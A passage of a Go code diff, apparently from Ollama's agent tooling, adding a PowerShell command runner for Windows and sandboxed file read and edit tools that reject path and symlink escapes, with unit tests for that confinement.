||||
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"sync"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var bashJobHandles sync.Map
|
||||
|
||||
func shellToolName() string {
|
||||
return "powershell"
|
||||
}
|
||||
|
||||
func shellToolDescription() string {
|
||||
return "Execute a PowerShell command on the system. Use this to inspect files, run tests, and perform development tasks."
|
||||
}
|
||||
|
||||
func shellCommandDescription() string {
|
||||
return "The PowerShell command to execute."
|
||||
}
|
||||
|
||||
func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
|
||||
return exec.CommandContext(
|
||||
ctx,
|
||||
"powershell.exe",
|
||||
"-NoLogo",
|
||||
"-NoProfile",
|
||||
"-NonInteractive",
|
||||
"-ExecutionPolicy",
|
||||
"Bypass",
|
||||
"-Command",
|
||||
powerShellCommandScript(command, cwdPath),
|
||||
)
|
||||
}
|
||||
|
||||
func powerShellCommandScript(command, cwdPath string) string {
|
||||
cwdPath = powerShellSingleQuote(cwdPath)
|
||||
return strings.Join([]string{
|
||||
"$__ollama_status = 0",
|
||||
". {",
|
||||
"try {",
|
||||
command,
|
||||
" $__ollama_success = $?",
|
||||
" $__ollama_last_exit = $global:LASTEXITCODE",
|
||||
" if ($__ollama_success) {",
|
||||
" $__ollama_status = 0",
|
||||
" } elseif ($__ollama_last_exit -is [int] -and $__ollama_last_exit -ne 0) {",
|
||||
" $__ollama_status = $__ollama_last_exit",
|
||||
" } else {",
|
||||
" $__ollama_status = 1",
|
||||
" }",
|
||||
"} catch {",
|
||||
" Write-Error $_",
|
||||
" $__ollama_status = 1",
|
||||
"} finally {",
|
||||
" try { [System.IO.File]::WriteAllText(" + cwdPath + ", (Get-Location).ProviderPath, [System.Text.Encoding]::UTF8) } catch {}",
|
||||
"}",
|
||||
"} | Out-String -Stream",
|
||||
"exit $__ollama_status",
|
||||
}, "\n")
|
||||
}
|
||||
|
||||
func powerShellSingleQuote(value string) string {
|
||||
return "'" + strings.ReplaceAll(value, "'", "''") + "'"
|
||||
}
|
||||
|
||||
func runBashCommand(cmd *exec.Cmd) error {
|
||||
if err := cmd.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
if job, err := createBashJob(cmd.Process.Pid); err == nil {
|
||||
bashJobHandles.Store(cmd.Process.Pid, job)
|
||||
defer releaseBashJob(cmd.Process.Pid)
|
||||
}
|
||||
return cmd.Wait()
|
||||
}
|
||||
|
||||
func killBashCommand(cmd *exec.Cmd) error {
|
||||
if cmd == nil || cmd.Process == nil {
|
||||
return nil
|
||||
}
|
||||
releaseBashJob(cmd.Process.Pid)
|
||||
_ = cmd.Process.Kill()
|
||||
return nil
|
||||
}
|
||||
|
||||
func createBashJob(pid int) (windows.Handle, error) {
|
||||
job, err := windows.CreateJobObject(nil, nil)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
info := windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION{}
|
||||
info.BasicLimitInformation.LimitFlags = windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
|
||||
if _, err := windows.SetInformationJobObject(
|
||||
job,
|
||||
windows.JobObjectExtendedLimitInformation,
|
||||
uintptr(unsafe.Pointer(&info)),
|
||||
uint32(unsafe.Sizeof(info)),
|
||||
); err != nil {
|
||||
_ = windows.CloseHandle(job)
|
||||
return 0, err
|
||||
}
|
||||
|
||||
process, err := windows.OpenProcess(windows.PROCESS_SET_QUOTA|windows.PROCESS_TERMINATE, false, uint32(pid))
|
||||
if err != nil {
|
||||
_ = windows.CloseHandle(job)
|
||||
return 0, err
|
||||
}
|
||||
defer windows.CloseHandle(process)
|
||||
|
||||
if err := windows.AssignProcessToJobObject(job, process); err != nil {
|
||||
_ = windows.CloseHandle(job)
|
||||
return 0, err
|
||||
}
|
||||
return job, nil
|
||||
}
|
||||
|
||||
func releaseBashJob(pid int) {
|
||||
value, ok := bashJobHandles.LoadAndDelete(pid)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
if job, ok := value.(windows.Handle); ok {
|
||||
_ = windows.CloseHandle(job)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,577 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
const (
|
||||
maxReadBytes = 200000
|
||||
)
|
||||
|
||||
type Read struct{}
|
||||
|
||||
func NewRead() *Read {
|
||||
return &Read{}
|
||||
}
|
||||
|
||||
func (r *Read) Name() string {
|
||||
return "read"
|
||||
}
|
||||
|
||||
func (r *Read) Description() string {
|
||||
return "Read a text file from the current working directory."
|
||||
}
|
||||
|
||||
func (r *Read) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("path", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "Path to the file to read, relative to the working directory.",
|
||||
})
|
||||
props.Set("start_line", api.ToolProperty{
|
||||
Type: api.PropertyType{"integer"},
|
||||
Description: "Optional 1-based line to start reading from.",
|
||||
})
|
||||
props.Set("end_line", api.ToolProperty{
|
||||
Type: api.PropertyType{"integer"},
|
||||
Description: "Optional 1-based inclusive line to stop reading at.",
|
||||
})
|
||||
props.Set("line_count", api.ToolProperty{
|
||||
Type: api.PropertyType{"integer"},
|
||||
Description: "Optional maximum number of lines to read, starting at start_line or line 1.",
|
||||
})
|
||||
props.Set("line_range", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: `Optional 1-based inclusive range like "10-40", "10:40", "10..40", "10-", or "10".`,
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: r.Name(),
|
||||
Description: r.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Properties: props,
|
||||
Required: []string{"path"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (r *Read) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
|
||||
path, ok := args["path"].(string)
|
||||
if !ok || strings.TrimSpace(path) == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("path parameter is required")
|
||||
}
|
||||
|
||||
file, info, err := openRegularFile(toolCtx.WorkingDir, path)
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
selection, err := readSelectionFromArgs(args)
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
if !selection.enabled && info.Size() > maxReadBytes {
|
||||
return agent.ToolResult{}, fmt.Errorf("%s is too large to read (%d bytes)", path, info.Size())
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return agent.ToolResult{}, ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
var content string
|
||||
if selection.enabled {
|
||||
content, err = readLineSelection(file, selection)
|
||||
} else {
|
||||
var contentBytes []byte
|
||||
contentBytes, err = io.ReadAll(file)
|
||||
content = string(contentBytes)
|
||||
}
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
return agent.ToolResult{Content: content}, nil
|
||||
}
|
||||
|
||||
type Edit struct{}
|
||||
|
||||
func NewEdit() *Edit {
|
||||
return &Edit{}
|
||||
}
|
||||
|
||||
func (e *Edit) Name() string {
|
||||
return "edit"
|
||||
}
|
||||
|
||||
func (e *Edit) Description() string {
|
||||
return "Edit a text file in the current working directory by replacing exact text."
|
||||
}
|
||||
|
||||
func (e *Edit) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("path", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "Path to the file to edit, relative to the working directory.",
|
||||
})
|
||||
props.Set("old_text", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "Exact text to replace.",
|
||||
})
|
||||
props.Set("new_text", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "Replacement text.",
|
||||
})
|
||||
props.Set("replace_all", api.ToolProperty{
|
||||
Type: api.PropertyType{"boolean"},
|
||||
Description: "Replace every occurrence. Defaults to false and requires old_text to match exactly once.",
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: e.Name(),
|
||||
Description: e.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Properties: props,
|
||||
Required: []string{"path", "old_text", "new_text"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (e *Edit) RequiresApproval(map[string]any) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (e *Edit) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
|
||||
path, ok := args["path"].(string)
|
||||
if !ok || strings.TrimSpace(path) == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("path parameter is required")
|
||||
}
|
||||
|
||||
oldText, ok := args["old_text"].(string)
|
||||
if !ok || oldText == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("old_text parameter is required")
|
||||
}
|
||||
|
||||
newText, ok := args["new_text"].(string)
|
||||
if !ok {
|
||||
return agent.ToolResult{}, fmt.Errorf("new_text parameter is required")
|
||||
}
|
||||
|
||||
replaceAll, _ := args["replace_all"].(bool)
|
||||
|
||||
if err := rejectFinalSymlink(toolCtx.WorkingDir, path); err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
|
||||
file, info, err := openRegularFile(toolCtx.WorkingDir, path)
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
if info.Size() > maxReadBytes {
|
||||
file.Close()
|
||||
return agent.ToolResult{}, fmt.Errorf("%s is too large to edit (%d bytes)", path, info.Size())
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
file.Close()
|
||||
return agent.ToolResult{}, ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
contentBytes, err := io.ReadAll(file)
|
||||
if closeErr := file.Close(); err == nil && closeErr != nil {
|
||||
err = closeErr
|
||||
}
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
content := string(contentBytes)
|
||||
matches := strings.Count(content, oldText)
|
||||
if matches == 0 {
|
||||
return agent.ToolResult{}, fmt.Errorf("old_text was not found in %s", path)
|
||||
}
|
||||
if matches > 1 && !replaceAll {
|
||||
return agent.ToolResult{}, fmt.Errorf("old_text matched %d times in %s; set replace_all to true to replace every match", matches, path)
|
||||
}
|
||||
|
||||
var updated string
|
||||
if replaceAll {
|
||||
updated = strings.ReplaceAll(content, oldText, newText)
|
||||
} else {
|
||||
updated = strings.Replace(content, oldText, newText, 1)
|
||||
}
|
||||
if len(updated) > maxReadBytes {
|
||||
return agent.ToolResult{}, fmt.Errorf("edited content is too large (%d bytes)", len(updated))
|
||||
}
|
||||
|
||||
if err := writeFileAtomic(toolCtx.WorkingDir, path, []byte(updated), info.Mode().Perm()); err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
|
||||
return agent.ToolResult{Content: fmt.Sprintf("Updated %s (%d replacement%s).", path, matches, plural(matches))}, nil
|
||||
}
|
||||
|
||||
func cleanRelativePath(path string) (string, error) {
|
||||
path = strings.TrimSpace(path)
|
||||
if path == "" {
|
||||
return "", fmt.Errorf("path parameter is required")
|
||||
}
|
||||
if filepath.IsAbs(path) {
|
||||
return "", fmt.Errorf("absolute paths are not allowed")
|
||||
}
|
||||
cleaned := filepath.Clean(path)
|
||||
if cleaned == "." || cleaned == ".." || strings.HasPrefix(cleaned, ".."+string(os.PathSeparator)) {
|
||||
return "", fmt.Errorf("path escapes working directory")
|
||||
}
|
||||
return cleaned, nil
|
||||
}
|
||||
|
||||
func openRegularFile(workingDir, path string) (*os.File, os.FileInfo, error) {
|
||||
rel, err := cleanRelativePath(path)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
root, err := openWorkingRoot(workingDir)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer root.Close()
|
||||
|
||||
file, err := root.Open(rel)
|
||||
if err != nil {
|
||||
return nil, nil, rootPathError(err)
|
||||
}
|
||||
info, err := file.Stat()
|
||||
if err != nil {
|
||||
file.Close()
|
||||
return nil, nil, err
|
||||
}
|
||||
if info.IsDir() {
|
||||
file.Close()
|
||||
return nil, nil, fmt.Errorf("%s is a directory", path)
|
||||
}
|
||||
return file, info, nil
|
||||
}
|
||||
|
||||
func writeFileAtomic(workingDir, path string, data []byte, perm os.FileMode) error {
|
||||
rel, err := cleanRelativePath(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
root, err := openWorkingRoot(workingDir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer root.Close()
|
||||
if err := rejectRootFinalSymlink(root, rel, path); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
parent, name := filepath.Split(rel)
|
||||
tmpBase := fmt.Sprintf(".%s.ollama-tmp-%d", name, os.Getpid())
|
||||
for i := 0; ; i++ {
|
||||
candidateName := tmpBase
|
||||
if i > 0 {
|
||||
candidateName = fmt.Sprintf("%s-%d", tmpBase, i)
|
||||
}
|
||||
candidate := filepath.Join(parent, candidateName)
|
||||
file, err := root.OpenFile(candidate, os.O_WRONLY|os.O_CREATE|os.O_EXCL, perm)
|
||||
if os.IsExist(err) {
|
||||
continue
|
||||
}
|
||||
if err != nil {
|
||||
return rootPathError(err)
|
||||
}
|
||||
writeErr := writeAllAndSync(file, data)
|
||||
closeErr := file.Close()
|
||||
if writeErr != nil || closeErr != nil {
|
||||
_ = root.Remove(candidate)
|
||||
if writeErr != nil {
|
||||
return writeErr
|
||||
}
|
||||
return closeErr
|
||||
}
|
||||
if err := root.Rename(candidate, rel); err != nil {
|
||||
_ = root.Remove(candidate)
|
||||
return rootPathError(err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func rejectFinalSymlink(workingDir, path string) error {
|
||||
rel, err := cleanRelativePath(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
root, err := openWorkingRoot(workingDir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer root.Close()
|
||||
return rejectRootFinalSymlink(root, rel, path)
|
||||
}
|
||||
|
||||
func rejectRootFinalSymlink(root *os.Root, rel, path string) error {
|
||||
info, err := root.Lstat(rel)
|
||||
if err != nil {
|
||||
return rootPathError(err)
|
||||
}
|
||||
if info.Mode()&os.ModeSymlink != 0 {
|
||||
return fmt.Errorf("%s is a symlink; edit the target file directly", path)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func rootPathError(err error) error {
|
||||
if err != nil && strings.Contains(err.Error(), "path escapes") {
|
||||
return fmt.Errorf("path escapes working directory")
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func openWorkingRoot(workingDir string) (*os.Root, error) {
|
||||
base, err := workingDirAbs(workingDir)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return os.OpenRoot(base)
|
||||
}
|
||||
|
||||
func writeAllAndSync(file *os.File, data []byte) error {
|
||||
if _, err := file.Write(data); err != nil {
|
||||
return err
|
||||
}
|
||||
return file.Sync()
|
||||
}
|
||||
|
||||
func workingDirAbs(workingDir string) (string, error) {
|
||||
base := workingDir
|
||||
if base == "" {
|
||||
var err error
|
||||
base, err = os.Getwd()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
return canonicalPath(base)
|
||||
}
|
||||
|
||||
func canonicalPath(path string) (string, error) {
|
||||
abs, err := filepath.Abs(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
resolved, err := filepath.EvalSymlinks(abs)
|
||||
if err == nil {
|
||||
return resolved, nil
|
||||
}
|
||||
return abs, nil
|
||||
}
|
||||
|
||||
type readSelection struct {
|
||||
enabled bool
|
||||
start int
|
||||
end int
|
||||
}
|
||||
|
||||
func readSelectionFromArgs(args map[string]any) (readSelection, error) {
|
||||
selection := readSelection{start: 1}
|
||||
var startSet, endSet bool
|
||||
|
||||
for _, key := range []string{"line_range", "range", "lines"} {
|
||||
if lineRange, ok := stringReadArg(args, key); ok {
|
||||
start, end, err := parseLineRange(lineRange)
|
||||
if err != nil {
|
||||
return readSelection{}, err
|
||||
}
|
||||
selection.enabled = true
|
||||
if start > 0 {
|
||||
selection.start = start
|
||||
startSet = true
|
||||
}
|
||||
if end > 0 {
|
||||
selection.end = end
|
||||
endSet = true
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if start, ok, err := intReadArg(args, "start_line"); err != nil {
|
||||
return readSelection{}, err
|
||||
} else if ok {
|
||||
selection.enabled = true
|
||||
selection.start = start
|
||||
startSet = true
|
||||
}
|
||||
if end, ok, err := intReadArg(args, "end_line"); err != nil {
|
||||
return readSelection{}, err
|
||||
} else if ok {
|
||||
selection.enabled = true
|
||||
selection.end = end
|
||||
endSet = true
|
||||
}
|
||||
|
||||
lineCount, countSet, err := readLineCountArg(args)
|
||||
if err != nil {
|
||||
return readSelection{}, err
|
||||
}
|
||||
if countSet {
|
||||
selection.enabled = true
|
||||
if !startSet {
|
||||
selection.start = 1
|
||||
}
|
||||
if !endSet {
|
||||
selection.end = selection.start + lineCount - 1
|
||||
}
|
||||
}
|
||||
|
||||
if !selection.enabled {
|
||||
return selection, nil
|
||||
}
|
||||
if selection.start < 1 {
|
||||
return readSelection{}, fmt.Errorf("start_line must be greater than 0")
|
||||
}
|
||||
if selection.end > 0 && selection.end < selection.start {
|
||||
return readSelection{}, fmt.Errorf("end_line must be greater than or equal to start_line")
|
||||
}
|
||||
return selection, nil
|
||||
}
|
||||
|
||||
func readLineCountArg(args map[string]any) (int, bool, error) {
|
||||
for _, key := range []string{"line_count", "num_lines"} {
|
||||
value, ok, err := intReadArg(args, key)
|
||||
if err != nil || ok {
|
||||
if ok && value < 1 {
|
||||
return 0, false, fmt.Errorf("%s must be greater than 0", key)
|
||||
}
|
||||
return value, ok, err
|
||||
}
|
||||
}
|
||||
return 0, false, nil
|
||||
}
|
||||
|
||||
func parseLineRange(value string) (int, int, error) {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" {
|
||||
return 0, 0, nil
|
||||
}
|
||||
value = strings.TrimPrefix(value, "lines")
|
||||
value = strings.TrimPrefix(value, "line")
|
||||
value = strings.TrimSpace(value)
|
||||
|
||||
for _, sep := range []string{"..", ":", ","} {
|
||||
value = strings.ReplaceAll(value, sep, "-")
|
||||
}
|
||||
parts := strings.Split(value, "-")
|
||||
if len(parts) > 2 {
|
||||
return 0, 0, fmt.Errorf("line_range must look like 10-40, 10:40, 10..40, 10-, or 10")
|
||||
}
|
||||
|
||||
start, end := 0, 0
|
||||
var err error
|
||||
if strings.TrimSpace(parts[0]) != "" {
|
||||
start, err = strconv.Atoi(strings.TrimSpace(parts[0]))
|
||||
if err != nil || start < 1 {
|
||||
return 0, 0, fmt.Errorf("line_range start must be a positive line number")
|
||||
}
|
||||
}
|
||||
if len(parts) == 1 {
|
||||
return start, start, nil
|
||||
}
|
||||
if strings.TrimSpace(parts[1]) != "" {
|
||||
end, err = strconv.Atoi(strings.TrimSpace(parts[1]))
|
||||
if err != nil || end < 1 {
|
||||
return 0, 0, fmt.Errorf("line_range end must be a positive line number")
|
||||
}
|
||||
}
|
||||
if start == 0 && end == 0 {
|
||||
return 0, 0, fmt.Errorf("line_range must include at least one line number")
|
||||
}
|
||||
if start == 0 {
|
||||
start = 1
|
||||
}
|
||||
if end > 0 && end < start {
|
||||
return 0, 0, fmt.Errorf("line_range end must be greater than or equal to start")
|
||||
}
|
||||
return start, end, nil
|
||||
}
|
||||
|
||||
func readLineSelection(file *os.File, selection readSelection) (string, error) {
|
||||
reader := bufio.NewReader(file)
|
||||
var b strings.Builder
|
||||
for lineNo := 1; ; lineNo++ {
|
||||
line, err := reader.ReadString('\n')
|
||||
if lineNo >= selection.start && (selection.end == 0 || lineNo <= selection.end) {
|
||||
if b.Len()+len(line) > maxReadBytes {
|
||||
return "", fmt.Errorf("selected content is too large (%d byte limit)", maxReadBytes)
|
||||
}
|
||||
b.WriteString(line)
|
||||
}
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
if selection.end > 0 && lineNo >= selection.end {
|
||||
break
|
||||
}
|
||||
}
|
||||
return b.String(), nil
|
||||
}
|
||||
|
||||
func stringReadArg(args map[string]any, key string) (string, bool) {
|
||||
value, ok := args[key].(string)
|
||||
return value, ok && strings.TrimSpace(value) != ""
|
||||
}
|
||||
|
||||
func intReadArg(args map[string]any, key string) (int, bool, error) {
|
||||
value, ok := args[key]
|
||||
if !ok {
|
||||
return 0, false, nil
|
||||
}
|
||||
switch v := value.(type) {
|
||||
case int:
|
||||
return v, true, nil
|
||||
case int64:
|
||||
return int(v), true, nil
|
||||
case float64:
|
||||
if v != float64(int(v)) {
|
||||
return 0, true, fmt.Errorf("%s must be a whole number", key)
|
||||
}
|
||||
return int(v), true, nil
|
||||
case string:
|
||||
v = strings.TrimSpace(v)
|
||||
if v == "" {
|
||||
return 0, false, nil
|
||||
}
|
||||
n, err := strconv.Atoi(v)
|
||||
if err != nil {
|
||||
return 0, true, fmt.Errorf("%s must be a whole number", key)
|
||||
}
|
||||
return n, true, nil
|
||||
default:
|
||||
return 0, true, fmt.Errorf("%s must be a whole number", key)
|
||||
}
|
||||
}
|
||||
|
||||
func plural(n int) string {
|
||||
if n == 1 {
|
||||
return ""
|
||||
}
|
||||
return "s"
|
||||
}
|
||||
@@ -0,0 +1,255 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
)
|
||||
|
||||
func TestEditReplacesUniqueText(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "note.txt")
|
||||
if err := os.WriteFile(path, []byte("hello world\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
result, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
"old_text": "hello",
|
||||
"new_text": "hi",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(result.Content, "Updated note.txt") {
|
||||
t.Fatalf("result = %q", result.Content)
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(content) != "hi world\n" {
|
||||
t.Fatalf("content = %q", content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEditRequiresUniqueMatchByDefault(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "note.txt")
|
||||
if err := os.WriteFile(path, []byte("same same\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
_, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
"old_text": "same",
|
||||
"new_text": "other",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected ambiguous edit to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "matched 2 times") {
|
||||
t.Fatalf("err = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEditRejectsEscapingPath(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
_, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "../outside.txt",
|
||||
"old_text": "old",
|
||||
"new_text": "new",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected escaping path to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "path escapes working directory") {
|
||||
t.Fatalf("err = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEditRejectsSymlinkEscape(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
outside := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(outside, "note.txt"), []byte("old\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Symlink(outside, filepath.Join(dir, "link")); err != nil {
|
||||
t.Skipf("symlinks unavailable: %v", err)
|
||||
}
|
||||
|
||||
_, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": filepath.Join("link", "note.txt"),
|
||||
"old_text": "old",
|
||||
"new_text": "new",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected symlink escape to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "path escapes working directory") {
|
||||
t.Fatalf("err = %v", err)
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(filepath.Join(outside, "note.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(content) != "old\n" {
|
||||
t.Fatalf("outside content changed to %q", content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEditRejectsFinalSymlink(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
target := filepath.Join(dir, "target.txt")
|
||||
if err := os.WriteFile(target, []byte("old\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
link := filepath.Join(dir, "link.txt")
|
||||
if err := os.Symlink("target.txt", link); err != nil {
|
||||
t.Skipf("symlinks unavailable: %v", err)
|
||||
}
|
||||
|
||||
_, err := NewEdit().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "link.txt",
|
||||
"old_text": "old",
|
||||
"new_text": "new",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected final symlink edit to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "is a symlink") {
|
||||
t.Fatalf("err = %v", err)
|
||||
}
|
||||
content, err := os.ReadFile(target)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if string(content) != "old\n" {
|
||||
t.Fatalf("target content changed to %q", content)
|
||||
}
|
||||
info, err := os.Lstat(link)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if info.Mode()&os.ModeSymlink == 0 {
|
||||
t.Fatalf("link mode = %v, want symlink", info.Mode())
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadRejectsParentOutsideCurrentWorkingDir(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
subdir := filepath.Join(root, "sub")
|
||||
if err := os.Mkdir(subdir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(root, "note.txt"), []byte("hello"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
_, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: subdir}, map[string]any{
|
||||
"path": "../note.txt",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected parent path to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "path escapes working directory") {
|
||||
t.Fatalf("err = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadDefaultsToEntireFile(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
content := "one\ntwo\nthree\n"
|
||||
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(content), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
result, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Content != content {
|
||||
t.Fatalf("content = %q", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadLineRange(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
result, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
"line_range": "2-3",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Content != "two\nthree\n" {
|
||||
t.Fatalf("content = %q", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadLinesAliasAsRange(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
result, err := NewRead().Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
|
||||
"path": "note.txt",
|
||||
"lines": "2-3",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Content != "two\nthree\n" {
|
||||
t.Fatalf("content = %q", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadLineCountFromStartLine(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
